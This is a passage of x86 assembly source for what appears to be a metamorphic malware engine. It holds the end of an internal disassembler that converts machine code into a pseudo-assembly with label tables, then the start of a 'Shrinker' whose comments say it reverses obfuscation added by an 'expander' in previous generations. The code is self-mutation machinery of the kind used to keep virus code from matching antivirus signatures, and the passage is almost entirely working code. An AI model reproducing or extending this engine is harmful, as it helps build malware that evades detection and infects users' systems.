add eax, 0FFFFFF00h
|
|
@@MOVMem8Value_01:
|
|
mov [edi+7], eax ; Set it in the pseudoinstruction
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@MOVMem8_RegValue:
|
|
mov eax, 0C0h ; C0 = MOV Reg8,Imm
|
|
mov [edi], eax ; Set the pseudoopcode
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax ; Set the register
|
|
add esi, 2
|
|
jmp @@MOVMem8Value_Common ; Jump to finish the decoding
|
|
|
|
;;;; MOV [Mem32],Value (or MOV Reg32,Value) decoding (opcode C7)
|
|
|
|
@@MOVMem32Value:
|
|
mov eax, 44h ; 44h = MOV Mem,Imm (in our assembler)
|
|
mov [edi], eax ; Set the pseudoopcode
|
|
mov eax, [esi+1] ; Get the 2nd opcode
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h ; Memory address or register?
|
|
jz @@MOVMem32_RegValue ; Jump if it's register
|
|
mov edx, esi
|
|
add edx, 1 ; Decode the memory address
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx ; Add the operand length
|
|
add esi, 1
|
|
mov eax, [esi] ; Get the Imm to move
|
|
mov [edi+7], eax ; Set it in the disassembly
|
|
add esi, 4 ; Increase the EIP
|
|
jmp @@NextInstruction
|
|
@@MOVMem32_RegValue:
|
|
mov eax, 40h ; 40h = MOV Reg32,Imm32
|
|
mov [edi], eax ; Set the pseudoopcode
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax ; Get the register and set it
|
|
mov eax, [esi+2] ; Get the immediate value and set it
|
|
mov [edi+7], eax
|
|
add esi, 6 ; Add the instruction length to the EIP
|
|
jmp @@NextInstruction
|
|
|
|
;;;; Some not very common instructions
|
|
;; Opcodes F6 and F7 are used for TEST, NOT, NEG, MUL, IMUL, DIV and IDIV.
|
|
;; Since MUL and up aren't used by us, we only decode TEST, NOT and NEG.
|
|
@@SomeNotVeryCommon8:
|
|
mov eax, [esi+1] ; Get the operation
|
|
and eax, 38h
|
|
or eax, eax ; 0 is TEST
|
|
jz @@TEST8Value
|
|
shr eax, 1 ; If it's not TEST, it is NOT or NEG
|
|
add eax, 0DAh ; EAX = E2/E6
|
|
@@SNVC_Gen: mov [edi], eax ; Set the opcode
|
|
mov eax, [esi+1] ; Check if we use register or memory
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@NOTNEGReg8 ; If register, jump
|
|
mov eax, [edi] ; Set memory usage
|
|
add eax, 1
|
|
mov [edi], eax
|
|
mov edx, esi ; Decode the memory address operand
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx ; Add the length of the operand
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@NOTNEGReg8:
|
|
mov eax, [esi+1] ; Get the register involved
|
|
and eax, 7
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax ; Set it
|
|
add esi, 2 ; Increase the EIP
|
|
jmp @@NextInstruction
|
|
|
|
@@SomeNotVeryCommon32:
|
|
mov eax, [esi+1] ; Get the operation
|
|
and eax, 38h
|
|
or eax, eax ; If it's TEST, jump to disasm it
|
|
jz @@TEST32Value
|
|
shr eax, 1
|
|
add eax, 0D8h ; E0/E4
|
|
jmp @@SNVC_Gen ; Jump to decode the rest of the instr.
|
|
|
|
@@TEST8Value:
|
|
mov eax, 0C8h ; Set TEST 8 bits opcode
|
|
mov [edi], eax
|
|
jmp @@Gen8Value ; Jump to decode the rest
|
|
|
|
@@TEST32Value:
|
|
mov eax, 48h ; Set TEST 32 bits opcope
|
|
mov [edi], eax
|
|
jmp @@Gen32Value ; Jump to decode the rest
|
|
|
|
;;;; INC Mem, DEC Mem, CALL Mem, JMP Mem & PUSH Mem disassembly
|
|
|
|
@@INCDECMem8:
|
|
mov eax, [esi+1] ; Get the operation
|
|
and eax, 38h
|
|
or eax, eax ; INC?
|
|
jz @@INCMem8 ; Then, jump
|
|
@@DECMem8: mov eax, 0ACh ; ACh = Opcode of SUB Mem8,Imm8
|
|
@@INCDECMem8_Next:
|
|
mov [edi], eax ; Set the opcode
|
|
mov eax, [esi+1] ; Get the type of operand
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h ; If we use a register operand, jump
|
|
jz @@INCDECReg8
|
|
@@INCDECPUSH_Gen:
|
|
mov edx, esi ; Here if we use INC/DEC/PUSH Mem
|
|
add edx, 1 ; Decode the memory operand
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
mov eax, 1 ; We insert a 1 as a Imm even if it's
|
|
mov [edi+7], eax ; PUSH, JMP or CALL, since we will
|
|
; ignore this field for them
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0EBh ; Did we decode JMP DWORD PTR [xxx]?
|
|
jnz @@NextInstruction ; Then, get a new EIP (treat it as
|
|
; a RET)
|
|
add edi, 10h ; Increase the storadge EIP and get a
|
|
jmp @@GetEIPFromFutureLabelList ; new disassembly EIP (ESI)
|
|
@@INCDECReg8:
|
|
mov eax, [edi] ; Get the opcode
|
|
sub eax, 4 ; Convert it to OP Reg
|
|
mov [edi], eax
|
|
mov eax, [esi+1] ; Get the register
|
|
and eax, 7
|
|
mov [edi+1], eax ; Set it in the instruction
|
|
mov eax, 1 ; Set "1" value for addition and
|
|
mov [edi+7], eax ; subtraction
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
@@INCMem8: mov eax, 84h ; Set ADD Mem8,Imm8
|
|
jmp @@INCDECMem8_Next
|
|
|
|
;; Opcode FF: INC Mem, DEC Mem, CALL Mem, JMP Mem and PUSH Mem (32 bits)
|
|
|
|
@@INCDECPUSHMem32:
|
|
mov eax, [esi+1] ; Get the operand type
|
|
and eax, 38h
|
|
or eax, eax ; INC?
|
|
jz @@INCMem32
|
|
cmp eax, 08h ; DEC?
|
|
jz @@DECMem32
|
|
cmp eax, 10h ; CALL?
|
|
jz @@CALLMem32
|
|
cmp eax, 20h ; JMP?
|
|
jz @@JMPMem32
|
|
@@PUSHMem32:
|
|
mov eax, [esi+1] ; Decode PUSH. Look if it uses a reg.
|
|
and eax, 0C0h ; or a memory address
|
|
cmp eax, 0C0h
|
|
jz @@PUSHMem32_Reg
|
|
mov eax, 51h ; EAX = 51h, pseudoopcode of PUSH Mem
|
|
mov [edi], eax
|
|
jmp @@INCDECPUSH_Gen
|
|
@@PUSHMem32_Reg:
|
|
mov eax, 50h ; 50h = Opcode of PUSH Reg
|
|
@@INCDECPUSH_GenMem32_Reg:
|
|
mov [edi], eax ; Set the opcode
|
|
mov eax, [esi+1] ; Get the operand register
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 1 ; Set "1" as immediate value (for INCs
|
|
mov [edi+7], eax ; and DECs, and ignored for the others)
|
|
add esi, 2
|
|
mov eax, [edi] ; Get the opcopde
|
|
and eax, 0FFh
|
|
cmp eax, 0EDh ; Did we decode JMP Reg?
|
|
jnz @@NextInstruction
|
|
add edi, 10h ; If so, treat it as a RET
|
|
jmp @@GetEIPFromFutureLabelList
|
|
|
|
;; Here if we decoded INC
|
|
@@INCMem32:
|
|
mov eax, [esi+1] ; Get the opcode
|
|
and eax, 0C0h ; Check if it uses a register or a
|
|
cmp eax, 0C0h ; memory address as operand
|
|
jz @@INCReg32
|
|
mov eax, 4 ; If Mem, set ADD Mem,Imm
|
|
jmp @@INCDECMem8_Next
|
|
@@INCReg32:
|
|
xor eax, eax ; If Reg, set ADD Reg,Imm
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
|
|
;; Here if we decoded DEC
|
|
@@DECMem32:
|
|
mov eax, [esi+1] ; Get if it uses a memory address or
|
|
and eax, 0C0h ; a register
|
|
cmp eax, 0C0h
|
|
jz @@DECReg32
|
|
mov eax, 2Ch ; Set SUB Mem,Imm
|
|
jmp @@INCDECMem8_Next
|
|
@@DECReg32:
|
|
mov eax, 28h ; Set SUB Reg,Imm
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
|
|
;; Here if we decoded CALL Mem (or CALL Reg)
|
|
@@CALLMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h ; Get the type of operand
|
|
cmp eax, 0C0h
|
|
jz @@CALLMem32_Reg
|
|
mov eax, 0EAh ; Set CALL Mem
|
|
mov [edi], eax
|
|
jmp @@INCDECPUSH_Gen
|
|
@@CALLMem32_Reg:
|
|
mov eax, 0ECh ; Normally APIs
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
@@JMPMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@JMPMem32_Reg
|
|
mov eax, 0EBh ; Normally to simulate RET, so treat it
|
|
mov [edi], eax ; as a RET (after decoding)
|
|
jmp @@INCDECPUSH_Gen
|
|
@@JMPMem32_Reg:
|
|
mov eax, 0EDh ; Treat it also as a RET (coz it's a jump
|
|
jmp @@INCDECPUSH_GenMem32_Reg ; with undefined destiny)
|
|
|
|
@@NextInstruction:
|
|
add edi, 10h ; Increase storadge EIP
|
|
jmp @@ContinueDissasembly
|
|
|
|
;;;; RET disassembly
|
|
|
|
@@RET: mov eax, 0FEh ; Insert the opcode
|
|
mov [edi], eax
|
|
inc esi
|
|
add edi, 10h ; Increase the storing EIP and get a new
|
|
jmp @@GetEIPFromFutureLabelList ; EIP for ESI. If there
|
|
; aren't more, finish.
|
|
|
|
;;;; JMP SHORT
|
|
|
|
@@JMP8: mov eax, [esi+1] ; Get the displacement
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@JMP8_01
|
|
add eax, 0FFFFFF00h
|
|
@@JMP8_01:
|
|
add eax, 2 ; Add the length of the instruction to
|
|
add eax, esi ; the read EIP
|
|
jmp @@JMP_Next01
|
|
|
|
;;;; JMP LONG
|
|
@@JMP: mov eax, [esi+1] ; Get the displacement
|
|
add eax, 5
|
|
add eax, esi
|
|
|
|
;; The jump is stored as 0E9h,dd IndexOnLabelTable. By this way, if we change
|
|
;; the offset of the label, we only have to update the address at the table,
|
|
;; and all the references are automatically updated.
|
|
@@JMP_Next01:
|
|
mov ebx, [ebp+InstructionTable]
|
|
cmp ebx, edi
|
|
jz @@NoInstructions
|
|
@@FindDestinyInTable:
|
|
cmp [ebx+0Ch], eax ; Check with the pointer to the real
|
|
jz @@SetLabel ; instruction, and set label if we
|
|
; found it.
|
|
add ebx, 10h
|
|
cmp ebx, edi
|
|
jnz @@FindDestinyInTable
|
|
@@NoInstructions:
|
|
mov ecx, 0FFh ; Set a NOP if we didn't disassembled
|
|
mov [edi], ecx ; yet the instruction. So, change the
|
|
add edi, 10h ; read EIP (at ESI) directly without
|
|
mov esi, eax ; inserting the jump. In this way,
|
|
jmp @@LoopTrace ; the disassembling is automatically
|
|
; eliminating the permutations.
|
|
@@SetLabel:
|
|
mov ecx, 0E9h ; Set JMP pseudoopcode
|
|
mov [edi], ecx
|
|
mov edx, esi ; Set the new pointer
|
|
mov [edi+0Ch], edx
|
|
add edi, 10h
|
|
push eax
|
|
mov eax, [esi] ; Get the instruction
|
|
and eax, 0FFh
|
|
mov ecx, eax
|
|
pop eax
|
|
cmp ecx, 0EBh ; Check if it's a short JMP
|
|
jz @@Add2ToEIP ; If it is, increase the EIP only by 2
|
|
add esi, 3
|
|
@@Add2ToEIP:
|
|
add esi, 2
|
|
|
|
call InsertLabel ; Insert the label
|
|
|
|
mov [edi+1-10h], edx ; Set the label in the instruction
|
|
|
|
;; When we arrive here we scan for a label that isn't disassembled yet, We
|
|
;; check if we disassembled the pointing code while we didn't arrive here.
|
|
;; If the code is already disassembled, we set the label and we check other
|
|
;; pointers until we found one that it isn't scanned. If all them are alredy
|
|
;; disassembled, we finish because all the reachable code is disassembled.
|
|
@@GetEIPFromFutureLabelList:
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
or ecx, ecx ; If there aren't labels, exit
|
|
jz @@FinDeTraduccion
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckForNewEIP:
|
|
mov eax, [ebx] ; Get a label
|
|
or eax, eax ; Is it empty?
|
|
jnz @@GetNewEIP ; If not, we found one
|
|
add ebx, 8 ; Check next
|
|
sub ecx, 1
|
|
or ecx, ecx ; Have we scanned all them?
|
|
jnz @@LoopCheckForNewEIP
|
|
jmp @@FinDeTraduccion ; If so, exit from disassembler
|
|
|
|
@@GetNewEIP:
|
|
mov esi, [ebx]
|
|
jmp @@LoopTrace
|
|
|
|
|
|
;;; Instructions beginning with 0F
|
|
@@Opcode0F:
|
|
mov eax, [esi+1] ; Get the second opcode
|
|
and eax, 0FFh
|
|
cmp eax, 80h ; Long Jcc?
|
|
jb @@Op0F_Next00
|
|
cmp eax, 8Fh
|
|
jbe @@Jcc32 ; If so, jump
|
|
@@Op0F_Next00:
|
|
cmp eax, 0B6h ; MOVZX?
|
|
jz @@Op0F_MOVZX
|
|
; cmp eax, 0BEh
|
|
; jz @@Op0F_MOVSX
|
|
|
|
add esi, 2 ; Add two to the EIP and continue
|
|
jmp @@SigueInstr
|
|
|
|
;; I decided to make MOVSX instruction using direct checking and
|
|
;; sign extension, because this instruction have little variation when
|
|
;; recoding (or it is too much long). Anyway, I left the code (commented)
|
|
;; because maybe I decide to put it again, to disassemble whatever code I
|
|
;; want to pass to this routine, for example (and not only a semi-controlled
|
|
;; code as the engine is).
|
|
@@Op0F_MOVZX:
|
|
mov eax, 0F8h ; Set the pseudoopcode F8
|
|
; jmp @@Op0F_MOVxX
|
|
; @@Op0F_MOVSX:
|
|
; mov eax, 0FAh
|
|
; @@Op0F_MOVxX:
|
|
mov [edi], eax
|
|
mov eax, [esi+2] ; Get the destiny register
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax ; Set it in the instruction
|
|
; mov eax, [esi+2]
|
|
; and eax, 0C0h
|
|
; cmp eax, 0C0h
|
|
; jz @@Op0F_MOVxX_RegReg8
|
|
; mov eax, [edi]
|
|
; add eax, 1
|
|
; mov [edi], al
|
|
mov edx, esi ; Decode the referenced memory address
|
|
add edx, 2
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
; @@Op0F_MOVxX_RegReg8:
|
|
; mov eax, [esi+2]
|
|
; and eax, 7
|
|
; mov [edi+1], eax
|
|
; add esi, 3
|
|
; jmp @@NextInstruction
|
|
|
|
|
|
;; For the translation of Jcc (both 8 bits and 32 bits) and CALLs:
|
|
;;
|
|
;; - If the code exists, translate the destiny address of the point into a
|
|
;; label in the label table, and complete the instruction with that label.
|
|
;; If the label already exists, use the already existent label, of course.
|
|
;;
|
|
;; - If the code doesn't exist, we put a reference to this instruction in
|
|
;; the "future label table", together with a reference to the code it's
|
|
;; trying to access. Later, when that referenced code is disassembled,
|
|
;; the instruction (Jcc, CALL, etc.) will be completed.
|
|
|
|
;;; Conditional 32-bit jump (Jx, JNx)
|
|
@@Jcc32: mov eax, [esi+2] ; Get the destiny address in EAX
|
|
add eax, esi
|
|
add eax, 6
|
|
jmp @@ContinueWithBranchInstr
|
|
|
|
;;; CALL
|
|
@@CALL: mov eax, [esi+1] ; Get the destiny address in EAX
|
|
add eax, esi
|
|
add eax, 5
|
|
jmp @@ContinueWithBranchInstr
|
|
|
|
|
|
;;; Conditional 8-bits jump (Jx, JNx)
|
|
|
|
@@Jcc: mov eax, [esi+1] ; Get the destiny address in EAX
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Jcc_01
|
|
add eax, 0FFFFFF00h
|
|
@@Jcc_01:
|
|
add eax, esi
|
|
add eax, 2
|
|
|
|
@@ContinueWithBranchInstr:
|
|
mov ecx, eax ; Put the destiny addr. in ECX
|
|
call SetInFutureLabelList ; Mark the label and get the
|
|
push eax ; label table entry in EAX
|
|
mov eax, [esi]
|
|
and eax, 0FFh ; Get the opcode
|
|
cmp eax, 0Fh ; 0F? (i.e. long Jcc)
|
|
jz @@Jcc_Jcc32
|
|
|
|
;mov [edi], al
|
|
cmp eax, 0E8h ; CALL?
|
|
jz @@Jcc_AddEIP5 ; Then add 5 to EIP. If not, add 2.
|
|
jmp @@Jcc_AddEIP2
|
|
|
|
@@Jcc_Jcc32:
|
|
mov eax, [esi+1] ; Get the conditional jump
|
|
and eax, 0FFh
|
|
sub eax, 10h ; Transform it to pseudoopcode
|
|
|
|
@@Jcc_AddEIP6:
|
|
inc esi
|
|
@@Jcc_AddEIP5:
|
|
add esi, 3
|
|
@@Jcc_AddEIP2:
|
|
add esi, 2 ; Increase the EIP
|
|
mov edx, [edi] ; Set the pseudoopcode in EAX
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
|
|
pop eax
|
|
or eax, eax ; Restore the label table entry pointer.
|
|
jz @@NextInstruction ; If it's 0, is because it wasn't
|
|
; scanned, so go for next instruction.
|
|
|
|
call InsertLabel ; Insert the label if the EIP was already
|
|
mov [edi+1], edx ; disassembled, and insert it in the
|
|
jmp @@NextInstruction ; instruction, completing it.
|
|
|
|
@@FinDeTraduccion: ; Return!
|
|
ret
|
|
DisasmCode endp
|
|
|
|
|
|
;; This function is constructed to save lines of code, because this same
|
|
;; method was called from several points.
|
|
GenOp_SetRegReg proc
|
|
push edx
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
mov eax, [esi] ; Get the opcode
|
|
and eax, 0FFh
|
|
cmp eax, 3Fh ; Check the instruction. If it's <= 3F,
|
|
jbe @@SRR_01 ; set the same opcode + 1
|
|
cmp eax, 85h ; TEST?
|
|
jbe @@SRR_02
|
|
; cmp eax, 87h ; XCHG?
|
|
; jbe @@SRR_03
|
|
cmp eax, 8Bh ; MOV?
|
|
jbe @@SRR_04
|
|
@@SRR_01: and eax, 38h ; Set the OP Reg,Reg
|
|
add eax, 1
|
|
@@SRR_Store:
|
|
add eax, edx
|
|
mov [edi], eax ; Store the opcode
|
|
pop edx
|
|
ret ; Return
|
|
@@SRR_02: mov eax, 48h+1 ; Pseudoopcode of TEST Reg,Reg
|
|
jmp @@SRR_Store
|
|
; @@SRR_03: mov eax, 48h+5
|
|
; jmp @@SRR_Store
|
|
@@SRR_04: mov eax, 40h+1 ; Pseudoopcode of MOV Reg,Reg
|
|
jmp @@SRR_Store
|
|
GenOp_SetRegReg endp
|
|
|
|
;; Function to insert a label from a Jcc or a CALL to future disassembly. If
|
|
;; the label is already disassembled, it returns EAX != 0, being EAX the
|
|
;; code referenced. If it's not disassembled, we store the label in the table
|
|
;; and we'll check for it everytime a leaf of the execution tree is finished.
|
|
|
|
SetInFutureLabelList proc
|
|
mov ebx, [ebp+InstructionTable] ; Get the instructions
|
|
cmp ebx, edi ; Are we at the end already?
|
|
jz @@SetFutureLabel ; If so, we didn't find that, so
|
|
@@LoopCheckLabelForJcc: ; insert the label.
|
|
cmp [ebx+0Ch], eax
|
|
jz @@Jcc_CodeDefined ; If the code is disassembled, return
|
|
add ebx, 10h
|
|
cmp ebx, edi ; Get next instruction
|
|
jnz @@LoopCheckLabelForJcc
|
|
@@SetFutureLabel: ; We didn't find it!
|
|
mov edx, [ebp+NumberOfLabelsPost]
|
|
shl edx, 3
|
|
add edx, [ebp+FutureLabelTable]
|
|
mov [edx], eax ; Store the instruction and the
|
|
mov [edx+4], edi ; referenced destiny address.
|
|
mov eax, [ebp+NumberOfLabelsPost]
|
|
add eax, 1 ; Increase the number
|
|
mov [ebp+NumberOfLabelsPost], eax ; of labels.
|
|
xor eax, eax ; Return 0
|
|
@@Jcc_CodeDefined:
|
|
ret
|
|
SetInFutureLabelList endp
|
|
|
|
;; Function InsertLabel
|
|
;; Simply inserts the address passed into the definitive label list.
|
|
;;
|
|
;; Params:
|
|
;; EAX = Destination address of jump (or call, etc.)
|
|
;; EBX = Instruction in list (dissasembled) where EAX points to
|
|
;; Returns:
|
|
;; ECX undefined
|
|
;; EDX = Address in the list where the label has been stored (formerly
|
|
;; the type of label we'll use in the instructions).
|
|
InsertLabel proc
|
|
mov edx, [ebp+LabelTable] ; Get the table
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
or ecx, ecx ; Check if there's any
|
|
jz @@Jcc_InsertaEtiqueta ; If not, insert at first pos.
|
|
@@Jcc_LoopEtiqueta:
|
|
cmp [edx], eax ; Check if it exists already
|
|
jz @@Jcc_EtiquetaYaPuesta ; If it exists, return the ptr
|
|
add edx, 8
|
|
dec ecx ; Check next
|
|
or ecx, ecx
|
|
jnz @@Jcc_LoopEtiqueta
|
|
@@Jcc_InsertaEtiqueta: ; We didn't find the address, so let's
|
|
mov [edx], eax ; insert the new label and return the
|
|
mov [edx+4], ebx ; pointer
|
|
push eax
|
|
mov eax, [ebx+0Bh] ; Set the label mark in the instruction
|
|
and eax, 0FFFFFF00h ; we are referencing
|
|
add eax, 1
|
|
mov [ebx+0Bh], eax
|
|
mov eax, [ebp+NumberOfLabels] ; Increase the counter of
|
|
add eax, 1 ; labels stored in the table
|
|
mov [ebp+NumberOfLabels], eax
|
|
pop eax ; Return the label pointer address
|
|
@@Jcc_EtiquetaYaPuesta:
|
|
ret
|
|
InsertLabel endp
|
|
|
|
;; This function scans the "future labels table" and looks if every entry in
|
|
;; the table is pointing to the current EIP. If it is, it inserts a label in
|
|
;; the "definitive label table", completes the referenced instruction and
|
|
;; continues the check until all the temporary labels that points to that code
|
|
;; are released.
|
|
ReleaseFutureLabels proc
|
|
mov ecx, [ebp+NumberOfLabelsPost] ; Check the number
|
|
or ecx, ecx
|
|
jz @@SigueInstr ; If it's 0, return
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckFutureLabel:
|
|
cmp [ebx], esi ; Check if the current EIP is in the
|
|
jz @@FutureLabelFound ; table. If it is, release it.
|
|
@@OtraEtiquetaFutura:
|
|
add ebx, 8 ; Get the next
|
|
dec ecx
|
|
or ecx, ecx ; If there are more, loop
|
|
jnz @@LoopCheckFutureLabel
|
|
@@SigueInstr:
|
|
ret
|
|
@@FutureLabelFound:
|
|
push ecx
|
|
|
|
push ebx ; Insert a label into the current EIP
|
|
mov eax, esi
|
|
mov ebx, edi
|
|
call InsertLabel
|
|
pop ebx ; Returns EDX = label entry
|
|
|
|
mov eax, [ebx+4] ; Get the address of the instruction to
|
|
mov [eax+1], edx ; complete and complete it.
|
|
xor ecx, ecx
|
|
mov [ebx], ecx ; Eliminate the buffered label
|
|
pop ecx
|
|
jmp @@OtraEtiquetaFutura ; Jump to get another
|
|
ReleaseFutureLabels endp
|
|
|
|
;; This function decodes a memory reference in an opcode which is pointed by
|
|
;; EDX. Since the struct we use for memory codifications is common for all
|
|
;; the instructions of the pseudoassembler, the decodification of the memory
|
|
;; reference opcodes and fields are equal for all them.
|
|
;;
|
|
;; EDX = Address to get opcodes from.
|
|
;; We must ensure that it's a memory construction.
|
|
;; Returns EBX = Length of the memory reference opcodes (opcodes and addition)
|
|
DecodeMemoryConstruction proc
|
|
mov eax, 00000808h ; Initialize the memory structure
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
mov ebx, 1 ; Set a length of 1 (at least this
|
|
; opcode)
|
|
|
|
mov eax, [edx] ; Get the opcode
|
|
and eax, 7 ; Special opcode?
|
|
cmp eax, 4
|
|
jz @@ThirdOpcodeUsed ; If so, a third opcode is used
|
|
cmp eax, 5 ; Direct memory address?
|
|
jz @@DirectMemory ; Jump, then
|
|
|
|
@@SetBaseRegister:
|
|
mov eax, [edx] ; Get the base index
|
|
and eax, 7
|
|
push edx
|
|
mov edx, [edi+1] ; Set it
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+1], eax
|
|
mov eax, [edx] ; Get the type of addition:
|
|
and eax, 0C0h
|
|
or eax, eax ; No addition?
|
|
jz @@NoAddition
|
|
cmp eax, 40h ; Byte (with sign extension)?
|
|
jz @@ByteAddition
|
|
@@DwordAddition:
|
|
add ebx, 4 ; Set dword addition (length of 4)
|
|
mov eax, [edx+1] ; Get the addition and set it in the
|
|
jmp @@SetAddition ; pseudoassembler instruction
|
|
@@ByteAddition:
|
|
add ebx, 1 ; Set a byte addition (length of 1)
|
|
mov eax, [edx+1] ; Get the addition
|
|
and eax, 0FFh ; Extend the sign
|
|
cmp eax, 7Fh
|
|
jbe @@SetAddition
|
|
add eax, 0FFFFFF00h
|
|
@@SetAddition:
|
|
mov [edi+3], eax ; Set the addition value in the instr.
|
|
@@NoAddition:
|
|
ret ; Return
|
|
|
|
@@DirectMemory:
|
|
mov eax, [edx] ; Get the DWORD of the address
|
|
and eax, 0C0h
|
|
or eax, eax ; Check if it's EBP
|
|
jnz @@SetBaseRegister ; If it's EBP, jump to decode it
|
|
jmp @@DwordAddition ; If not, set the addition as a direct
|
|
; memory address
|
|
|
|
;; Here if we use a third opcode
|
|
@@ThirdOpcodeUsed:
|
|
add ebx, 1 ; Add one more byte to the length
|
|
mov eax, [edx+1] ; Get the third opcode
|
|
and eax, 38h ; Check the middle index
|
|
shr eax, 3
|
|
cmp eax, 4 ; If it's ESP then we use only one
|
|
jz @@IgnoreScalarRegister
|
|
mov ecx, eax ; Get the multiplicator (or scalar)
|
|
mov eax, [edx+1] ; from the bits 7&6 of the third
|
|
and eax, 0C0h ; opcode, and after that set the
|
|
or eax, ecx ; register into the pseudoassembler
|
|
push edx ; instruction
|
|
mov edx, [edi+2]
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+2], eax
|
|
@@IgnoreScalarRegister:
|
|
mov eax, [edx] ; Get the second opcode
|
|
and eax, 0C0h ; Are we adding something?
|
|
or eax, eax ; If we don't, EBP in the low bits of
|
|
jz @@EBPMeansDwordAddition ; the third opcode means DWORD
|
|
mov eax, [edx+1] ; addition
|
|
and eax, 7 ; Get the low index at 3rd
|
|
push edx
|
|
mov edx, [edi+1] ; Set the index at first position
|
|
and edx, 0FFFFFF00h ; in the memory struct
|
|
add eax, edx
|
|
pop edx
|
|
mov [edi+1], eax
|
|
mov eax, [edx] ; Get the addition from the 2nd opcode
|
|
and eax, 0C0h
|
|
cmp eax, 40h
|
|
jz @@ByteAddition2 ; Byte addition (sign extended)?
|
|
@@DwordAddition2:
|
|
add ebx, 4 ; Add the DWORD addition length, get
|
|
mov eax, [edx+2] ; the addition DWORD and jump.
|
|
jmp @@SetAddition2
|
|
@@ByteAddition2:
|
|
add ebx, 1 ; Set BYTE addition length, get the
|
|
mov eax, [edx+2] ; addition BYTE, extend the sign of
|
|
and eax, 0FFh ; it and store it
|
|
cmp eax, 7Fh
|
|
jbe @@SetAddition2
|
|
add eax, 0FFFFFF00h
|
|
@@SetAddition2:
|
|
mov [edi+3], eax ; Store the addition and return
|
|
ret
|
|
|
|
@@EBPMeansDwordAddition:
|
|
mov eax, [edx+1] ; Get the low register at 3rd opcode
|
|
and eax, 7
|
|
cmp eax, 5 ; Check if it's EBP
|
|
jz @@DwordAddition2 ; If it isn't, jump to decode only the
|
|
push edx ; addition (EBP is a special case in
|
|
mov edx, [edi+1] ; this case)
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx ; If not, set the index register at
|
|
pop edx ; the first slot of the index position
|
|
mov [edi+1], eax ; in the memory reference structure
|
|
ret ; and return.
|
|
DecodeMemoryConstruction endp
|
|
;;
|
|
;;
|
|
;; End of the disassembler
|
|
;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
|
|
|
|
;; KEYWORD: Key_!Shrinker
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;; *********************************************************************** ;;;
|
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
|
;;
|
|
;; The Shrinker
|
|
;; ------------
|
|
;;
|
|
;; Required parameters:
|
|
;; [InstructionTable] = Pointer to first instruction in instruction table
|
|
;; [AddressOfLastInstruction] = The limit of the disassembly
|
|
;;
|
|
;; This function will eliminate all the obfuscation done by the expander in
|
|
;; previous generations. The compression is made by single instructions, pairs
|
|
;; or triplets. The work is performed in the pseudo-ASM the disassembler
|
|
;; generated, so the modifications are easier.
|
|
;;
|
|
;; The single, pairs and triplets scanned are the following (extracted from
|
|
;; the article I wrote about this engine):
|
|
;;
|
|
;; ---------------------------------------------------------------------------
|
|
;;
|
|
;; Legend:
|
|
;; Reg: A register
|
|
;; Mem: A memory address
|
|
;; Imm: Immediate
|
|
;;
|
|
;; When in an instruction is Reg,Reg or something like that, both are the
|
|
;; same register. If they are different, I write it as Reg,Reg2 (for example).
|
|
;;
|
|
;; Transformations over single instructions:
|
|
;;
|
|
;; XOR Reg,-1 --> NOT Reg
|
|
;; XOR Mem,-1 --> NOT Mem
|
|
;; MOV Reg,Reg --> NOP
|
|
;; SUB Reg,Imm --> ADD Reg,-Imm
|
|
;; SUB Mem,Imm --> ADD Mem,-Imm
|
|
;; XOR Reg,0 --> MOV Reg,0
|
|
;; XOR Mem,0 --> MOV Mem,0
|
|
;; ADD Reg,0 --> NOP
|
|
;; ADD Mem,0 --> NOP
|
|
;; OR Reg,0 --> NOP
|
|
;; OR Mem,0 --> NOP
|
|
;; AND Reg,-1 --> NOP
|
|
;; AND Mem,-1 --> NOP
|
|
;; AND Reg,0 --> MOV Reg,0
|
|
